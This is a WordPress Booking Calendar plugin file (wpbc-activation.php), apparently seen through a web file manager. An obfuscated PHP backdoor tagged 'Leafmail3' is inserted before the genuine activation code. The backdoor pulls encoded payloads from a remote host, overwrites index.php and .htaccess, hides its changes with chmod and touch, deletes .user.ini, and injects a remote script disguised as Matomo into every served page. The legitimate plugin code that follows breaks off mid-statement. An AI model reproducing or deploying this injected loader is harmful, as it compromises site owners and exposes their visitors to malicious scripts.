trAvis - MANAGER
Edit File: wpbc-activation.php
<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?> <?php /** * @version 1.0 * @package Booking Calendar * @subpackage Activation / Deactivation * @category Functions * @author wpdevelop * * @web-site https://wpbookingcalendar.com/ * @email info@wpbookingcalendar.com * @modified 2016-03-17 */ if ( ! defined( 'ABSPATH' ) ) exit; // Exit if accessed directly /** Activation & Deactivation of Booking Calendar */ class WPBC_BookingInstall extends WPBC_Install { /** * Overload Booking Calendar option names and some other parameters * * //FixIn: 7.0.1.12 * Important! for correct loading of trasnaltions later, we must do not use here loacale of plugin. So here will be untranslated strings!!! * */ public function get_init_option_names() { add_bk_action( 'wpdev_booking_activate_user', array( $this, 'wpbc_activate') ); // Hook for MU User activation $links = array( 'option-version_num' => 'booking_version_num' , 'option-is_delete_if_deactive' => 'booking_is_delete_if_deactive' , 'option-activation_process' => 'booking_activation_process' , 'transient-wpbc_activation_redirect' => '_booking_activation_redirect' , 'message-delete_data' => '<strong>' . 'Warning!' . '</strong> ' . 'All booking data will be deleted when the plugin is deactivated.' . '<br />' . sprintf( 'If you want to save your booking data, please uncheck the %s"Delete booking data"%s at the' , '<strong>', '</strong>') . '<a href="' . esc_url( admin_url( add_query_arg( array( 'page' => 'wpbc-settings' ), 'admin.php' ) ) ) . '&scroll_to_section=wpbc_general_settings_uninstall_tab"> ' . 'settings page' . '.' . ' </a>' , 'link_settings' => '<a class="wpbc_plugins_links__settings" href="' . esc_url( admin_url( add_query_arg( array( 'page' => 'wpbc-settings' ), 'admin.php' ) ) ) . '">'. "Settings" .'</a>' , 'link_whats_new' => '<a title="'. "Check new functionality in this plugin update." .'" href="' . esc_url( admin_url( add_query_arg( array( 'page' => 'wpbc-about' ), 'index.php' ) ) ) .'">'. "What's New".'</a>' , 'link_faq' => '<a title="FAQ" href="https://wpbookingcalendar.com/faq/">FAQ</a>' , 'link_up' => '<a title="Check Pro functionality" href="https://wpbookingcalendar.com/features/#link_up" style="color: rgb(0, 163, 42);font-weight:700;">Get Pro</a>' , 'link_upgrade' => '<a title="Upgrade to higher version" href="' . esc_url( admin_url( add_query_arg( array( 'page' => 'wpbc-settings', 'tab' => 'upgrade' ), 'admin.php' ) ) ) . '" style="color: rgb(0, 163, 42);font-weight:700;">Get More</a>' ); return $links; } /** Check if was updated from lower to high version */ public function is_update_from_lower_to_high_version() { $is_make_activation = false; // Check conditions for different version about Upgrade if ( ( class_exists( 'wpdev_bk_personal' ) ) && ( ! wpbc_is_table_exists( 'bookingtypes' ) ) ) { $is_make_activation = true; } if ( ( ! $is_make_activation ) && ( class_exists( 'wpdev_bk_biz_s' ) ) && ( wpbc_is_field_in_table_exists( 'booking', 'pay_request' ) == 0 ) ) { $is_make_activation = true; } //FixIn: 9.9.0.13 if ( ( ! $is_make_activation ) && ( class_exists( 'wpdev_bk_biz_m' ) ) && ( ! wpbc_is_table_exists( 'booking_seasons' ) ) ) { $is_make_activation = true; } if ( ( ! $is_make_activation ) && ( class_exists( 'wpdev_bk_biz_l' ) ) && ( ! wpbc_is_table_exists( 'booking_coupons' ) ) ) { $is_make_activation = true; } if ( ( ! $is_make_activation ) && ( class_exists( 'wpdev_bk_multiuser' ) ) && ( wpbc_is_field_in_table_exists( 'booking_coupons', 'users' ) == 0 ) ) { $is_make_activation = true; } return $is_make_activation; } } // <editor-fold defaultstate="collapsed" desc=" Examples Data for Demos " > function wpbc_create_examples_4_demo( $my_bk_types = array() ){ global $wpdb; $version = wpbc_get_plugin_version_type(); if (class_exists('wpdev_bk_multiuser')) { if ( empty( $my_bk_types ) ) { $my_bk_types = array( 13, 14, 15, 16, 17 ); // The booking resources with these IDs are exist in the Demo sites } else { shuffle( $my_bk_types ); } $trash_bookings = ' bk.trash != 1 '; //FixIn: 6.1.1.10 - check also below usage of {$trash_bookings} // Get NUMBER of Bookings $bookings_count = $wpdb->get_results( "SELECT COUNT(*) as count FROM {$wpdb->prefix}booking as bk WHERE {$trash_bookings}" ); if (count($bookings_count)>0) $bookings_count = $bookings_count[0]->count ; if ($bookings_count>=20) return; if ( ( ( defined( 'WP_BK_BETA_DATA_FILL_AS' ) ) && ( 'BL' === WP_BK_BETA_DATA_FILL_AS ) ) && ( $_SERVER['HTTP_HOST'] === 'beta' ) ) { update_bk_option( 'booking_range_selection_time_is_active', 'On' ); update_bk_option( 'booking_range_selection_start_time', '14:00' ); update_bk_option( 'booking_range_selection_end_time', '12:00' ); update_bk_option( 'booking_is_delete_if_deactive', 'On'); } $max_num_bookings = 5; // How many bookings exist per resource foreach ($my_bk_types as $resource_id) { // Loop all resources $bk_type = $resource_id; // Booking Resource if ( ( ( defined( 'WP_BK_BETA_DATA_FILL_AS' ) ) && ( 'BL' === WP_BK_BETA_DATA_FILL_AS ) ) && ( $_SERVER['HTTP_HOST'] === 'beta' ) ) { $min_days = 3; $max_days = 7; } else { $min_days = 1; //FixIn: 10.0.0.51 $max_days = 1; //FixIn: 10.0.0.51 } $evry_one = $max_days + rand( 1, 5 ); // Multiplier of interval between 2 dates of different bookings $days_start_shift = rand( $max_days, ( 3 * $max_days ) );//(ceil($max_num_bookings/2)) * $max_days; // How long far ago we are start bookings // Fill Development server by initial bookings if ( ( ( defined( 'WP_BK_BETA_DATA_FILL' ) ) && ( WP_BK_BETA_DATA_FILL > 0 ) ) && ( $_SERVER['HTTP_HOST'] === 'beta' ) ) { $evry_one = $min_days + rand( 1, 7 );//3*$max_days+rand(1,7); // Multiplier of interval between 2 dates of different bookings $days_start_shift = rand( 2 * $max_days, ( 5 * $max_days ) ); //rand(2*$max_days,(5*$max_days));//(ceil($max_num_bookings/2)) * $max_days; // How long far ago we are start bookings } for ( $i = 0; $i < $max_num_bookings; $i ++ ) { $is_appr = rand(0,1); // Pending | Approved $num_days = rand($min_days,$max_days); // Max Number of Dates for specific booking $second_name = wpbc_get_initial_values_4_demo('second_name'); $city = wpbc_get_initial_values_4_demo('city'); if ( ( ( 